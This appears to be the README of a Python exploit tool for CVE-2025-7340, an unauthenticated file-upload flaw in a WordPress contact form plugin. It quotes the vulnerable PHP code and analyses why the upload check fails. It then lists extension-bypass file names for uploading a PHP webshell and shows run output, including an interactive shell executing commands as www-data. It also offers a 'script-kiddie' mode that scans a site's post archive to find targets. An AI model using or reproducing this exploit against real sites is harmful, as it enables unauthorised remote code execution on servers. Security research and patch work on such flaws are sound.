
Python-Exploit für CVE-2025-7340, eine nicht authentifizierte Datei-Upload-Sicherheitslücke im WordPress HT Contact Form Widget, die Remote-Code-Ausführung durch Bereitstellung eines Webshells ermöglicht.
Schwachstellenort: ht-contactform/admin/Includes/Services/FileManager.php
Kritische Funktion: temp_file_upload()
temp_file_upload#63行
public function temp_file_upload($file) {
$destination = "{$this->dir}/temp";
$this->maybe_create_directories($destination);
// Validate file
$validation = $this->validate($file);
if (!$validation['valid']) {
wp_send_json_error($validation['message']);
return;
}
// Process the file
$filename = $this->process_filename($file['name']);
$file_path = "{$destination}/$filename";
// Move file to temporary directory
if (move_uploaded_file($file['tmp_name'], $file_path)) {
wp_send_json_success([
'file_id' => $filename,
'file_name' => $file['name'],
'file_size' => $file['size']
]);
return;
}
}
Dateiposition: ht-contactform/admin/Includes/Ajax.php:
#46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
Problem: Der Hook wp_ajax_nopriv_ wird verwendet, was bedeutet, dass nicht authentifizierte Benutzer auf die Datei-Upload-Funktion zugreifen können.
Ursachenanalyse:
validate-Funktion in FileManager.php prüft nur PHP-Upload-Fehler, validiert aber überhaupt nicht den Dateityp, die Erweiterung oder den MIME-Typ.Fields.php, aber diese werden nur für die clientseitige Validierung (accept-Attribut) beim Rendern des Formulars verwendet; serverseitig werden diese Konfigurationen überhaupt nicht zur Validierung herangezogen.sanitize_file_name() verarbeitet hauptsächlich Sonderzeichen, verhindert aber keine gefährlichen Erweiterungen; Angreifer können weiterhin Dateien wie .php, .php3, .phtml hochladen;// Ajax.php 第46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
Problem-Analyze:
Direkter Angriff: Der Angreifer kann eine POST-Anfrage direkt an /wp-admin/admin-ajax.php mit der Aktion ht_form_temp_file_upload senden
Umgehung der clientseitigen Validierung: Das Frontend verwendet das accept-Attribut, um Dateitypen einzuschränken, aber der Angreifer kann dies leicht umgehen
Dateiausführung: Hochgeladene PHP-Dateien könnten vom Webserver ausgeführt werden, was zu Remote Code Execution führt
shell.php.jpg
shell.php.png
shell.php.gif
shell.PHP
shell.Php
shell.pHp
shell.php%00.jpg
Hinweis: Die URL funktioniert nur, wenn der Artikel mit dem Plugin veröffentlicht wurde. Daher habe ich eine Skript-Kiddie-Funktion 02 hinzugefügt.
01[单个测试]例如:
python RCE.py -u http://192.168.162.131:8081/2025/08/04/test-0-1/
开始尝试.......
获取目标页面...
提取参数...
提取的Nonce: b05a39ff55
AJAX端点: http://192.168.162.131:8081/wp-admin/admin-ajax.php
表单ID: 6
生成webshell...
上传shell,请稍等...
[+] 漏洞利用成功!
Webshell地址: wp-content/uploads/ht_form/temp/6890c4e6f389c-shell.php
[+] 进入shell交互模式,输入'exit'退出!
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
退出交互模式
02[根目录测试]例如:
python RCE.py -r http://192.168.162.131:8081
[*] 请输入日期 (默认20250804):
[*] 使用的日期: 20250804
[*] 正在扫描日期: 2025-08-04
[*] 扫描地址: http://192.168.162.131:8081/2025/08/04/
[*] 发现文章2: Test.0.1
[*] 发现文章3: 8 月 4, 2025
[*] 发现文章6: 世界,您好!
[*] 发现文章7: 8 月 4, 2025
[*] 开始漏洞利用...
[*] 正在利用: http://192.168.162.131:8081/2025/08/04/test-0-1/
开始尝试.......
获取目标页面...
提取参数...
提取的Nonce: b05a39ff55
AJAX端点: http://192.168.162.131:8081/wp-admin/admin-ajax.php
表单ID: 6
生成webshell...
上传shell,请稍等...
[+] 漏洞利用成功!
Webshell地址: wp-content/uploads/ht_form/temp/6890c53ca8d5c-shell.php
[+] 进入shell交互模式,输入'exit'退出!
shell> whoami
www-data
shell> ls
68908c7a7f86d-shell.php
68908fdbba025-shell.php
6890917c70228-shell.php
6890919055905-shell.php
689094afb2f6e-shell.php
6890977a20a7c-shell.php
689097bf2dce9-Users.txt
6890c4e6f389c-shell.php
6890c53ca8d5c-shell.php
index.php
shell> exit
退出交互模式